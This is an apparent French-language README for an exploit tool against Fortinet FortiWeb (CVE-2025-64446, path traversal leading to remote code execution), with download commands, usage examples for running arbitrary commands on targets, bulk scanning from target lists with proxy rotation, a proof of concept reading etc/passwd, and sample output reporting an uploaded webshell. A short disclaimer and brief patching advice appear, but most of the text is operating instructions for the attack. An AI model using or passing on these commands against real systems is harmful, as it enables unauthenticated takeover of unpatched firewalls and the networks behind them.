
Outil de recherche en sécurité pour détecter et tester CVE-2025-64446 (FortiWeb Path Traversal RCE vulnerability)
Outil de recherche en sécurité pour détecter et tester la vulnérabilité CVE-2025-64446 sur le pare-feu applicatif Web (WAF) Fortinet FortiWeb. Cette vulnérabilité critique de type zero-day de traversée de chemin a été activement exploitée dans la nature et permet à des attaquants non authentifiés de contourner les contrôles de sécurité et d'exécuter du code arbitraire.
Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé à des systèmes informatiques est illégal. N'utilisez cet outil que sur des systèmes vous appartenant ou pour lesquels vous disposez d'une autorisation écrite explicite.
CVE-2025-64446 est une vulnérabilité critique de type zero-day de traversée de chemin dans le WAF Fortinet FortiWeb, activement exploitée dans la nature. Cette vulnérabilité permet à des attaquants non authentifiés de contourner les contrôles de sécurité via des attaques de traversée de chemin, pouvant conduire à une exécution de code à distance, à l'accès aux fichiers de configuration et à un compromis complet du système.
Score CVSS : 9,8 (Critique)
Statut : Activement exploitée dans la nature
CISA KEV : Ajoutée au catalogue des vulnérabilités connues exploitées
Correctif : FG-IR-25-910
Produit concerné : Fortinet FortiWeb WAF
# Cloner le dépôt
git clone https://github.com/AN5I/cve-2025-64446-fortiweb-exploit.git
cd cve-2025-64446-fortiweb-exploit
# Installer les dépendances
pip install -r requirements.txt
# Rendre les scripts exécutables (optionnel)
chmod +x cve_2025_64446_fortiweb_exploit.py
chmod +x cve_2025_64446_poc.py
# Télécharger les scripts
wget https://raw.githubusercontent.com/AN5I/cve-2025-64446-fortiweb-exploit/main/cve_2025_64446_fortiweb_exploit.py
wget https://raw.githubusercontent.com/AN5I/cve-2025-64446-fortiweb-exploit/main/cve_2025_64446_poc.py
# Installer les dépendances
pip install requests
# Cible unique
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com
# Exécuter une commande personnalisée
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -c "whoami"
# Plusieurs cibles depuis un fichier
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt -o results.json
# Avec threading pour un scan plus rapide
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -t 5
# Sortie verbeuse pour débogage
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -v
# Proxy unique
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com --proxy http://proxy:port
# Plusieurs proxys depuis un fichier
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt --proxy-list proxies.txt
# Test POC de base
python3 cve_2025_64446_poc.py -u http://target.com
# Test d'un fichier spécifique
python3 cve_2025_64446_poc.py -u http://target.com -f etc/passwd
# Sortie verbeuse
python3 cve_2025_64446_poc.py -u http://target.com -v
-u, --url URL cible
-f, --file Fichier contenant les URLs cibles (une par ligne)
-c, --command Commande à exécuter (défaut : id)
-t, --threads Nombre de threads (défaut : 1)
-o, --output Fichier de sortie (défaut : uknf_fortiweb_results.json)
-v, --verbose Activer les logs verbeux
--proxy URL du proxy (ex. : http://127.0.0.1:8080)
--proxy-list Fichier contenant les URLs de proxys (une par ligne)
Le script génère un fichier JSON avec les résultats détaillés :
{
"target": "http://target.com",
"timestamp": "2025-11-21T00:25:40.123456",
"fortiweb_detected": true,
"vulnerable": true,
"path_traversal_successful": true,
"config_file_read": true,
"webshell_uploaded": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_payload": "../../../../etc/passwd"
}
Si vous utilisez le WAF FortiWeb :
Appliquer immédiatement les mises à jour de sécurité :
# Vérifier la version actuelle
show system status
# Mettre à jour vers la dernière version
execute upgrade <firmware-file>
Segmentation réseau :
Renforcement de la configuration :
Exigences CISA :
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com
# Créer le fichier de cibles
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Lancer le scan
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt -o results.json
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com -c "uname -a"
# Proxy unique
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com --proxy http://127.0.0.1:8080
# Plusieurs proxys depuis un fichier
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt --proxy-list proxies.txt